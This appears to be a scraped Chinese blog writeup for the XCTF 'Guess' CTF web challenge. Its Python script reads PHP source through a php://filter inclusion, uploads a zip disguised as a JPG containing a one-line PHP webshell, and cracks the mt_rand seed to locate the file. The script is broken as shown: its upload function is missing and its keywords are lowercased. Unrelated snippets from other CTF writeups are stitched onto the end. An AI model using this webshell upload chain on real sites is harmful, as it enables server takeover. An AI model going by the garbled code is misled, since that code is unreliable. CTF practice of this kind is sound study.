攻防世界 xctf Guess writeup

2021-09-25 08:19:00 字數 2627 閱讀 7549

本題的解析官網上有,這裡是乙個自動化的指令碼,完成的是自動上傳乙個ant.jpg的檔案(ant.jpg是乙個ant.zip壓縮包重新命名的檔案,裡面是乙個ant.php的一句話木馬)。執行返回的是在web後台這個檔案重新命名後的檔案的url。可通過zip偽協議訪問這個木馬。

指令碼如下:

import requests

import base64

import re

import os

import subprocess

from urllib3 import encode_multipart_formdata

cookies=""

url=""

path="./ant.zip"

phpsessid="0"

#獲取原始碼

def getcode():

global url

urlcode=url+"?page=php://filter/convert.base64-encode/resource=upload"

r = requests.get(urlcode)

#print r.text

#print r.cookies

return "code:\n"+base64.b64decode(re.search(r'cgo8.*',r.text).group())

#上傳指定的檔案

#猜解後台檔名

def guess():

global cookies

#print cookies

cookiestext=cookies['phpsessid']

cookiessession=cookies['sessi0n']

#print cookiestext

#content='''

#'''

#file=open("gusss.sh","ab")

#file.write(content)

#file.close()

cmd="cd ~/phpdocument/;php pojie2.php "+cookiessession+" "+cookiestext

print cmd

output=subprocess.check_output(cmd,stderr=subprocess.stdout,shell=true)

print output

srand=re.search(r'successful.*',output).group()[10:]

cmd2="cd /opt/php_mt_seed-4.0/;./php_mt_seed "+srand

print "rand"+srand

print cmd2

output2=subprocess.check_output(cmd2,stderr=subprocess.stdout,shell=true)

print "sucessee find seed"

print re.findall(r'seed =.*',output2)

for i in re.findall(r'seed=.*',output2):

cmd3="cd ~/phpdocument/;php name.php "+i.split('=')[2]

os.system(cmd3)

return 0

#tips:getcode,create code.txt in current document

content=getcode()

#file=open("code.txt","ab")

#file.write(content)

upload(path)

guess()

攻防世界mfw 攻防世界 Web mfw

題目資訊 image.png 工具 githack,dirsearch 知識點 git漏洞 審計 開啟題目場景,檢查 發現這樣乙個頁面 image.png 訪問.git目錄,疑似存在git原始碼洩露 image.png 再用dirsearch掃瞄,發現git原始碼洩露 使用 githack獲取原始碼...

攻防世界Web lottery

開心!雖然第一次遇到git原始碼洩露寫了好久,但是寫出來了就很開心 開啟介面我們知道,要拿到flag,就要贏到足夠的錢,其實一開始我以為可以找到乙個地方直接修改餘額什麼的,把網頁源 中的檔案看了幾個都沒發現突破口 然後又沒思路了 嘗試了一下robots.txt,想看看有沒有什麼檔案,然後發現了 瞬間...

(攻防世界)(pwn)mary mroton

拿到本題檢視保護 開了nx和canary兩種棧保護,我們執行一下出現,看一下程式邏輯 根據我們對英語強大的理解 翻譯軟體的膩量 我們可以看到1標題是棧溢位漏洞函式,2是格式字串漏洞函式,3為退出,既然他都告訴我們了,我們也不用客氣直接用就可以了。我們可以用格式字串漏洞洩露canary的值,然後再進行...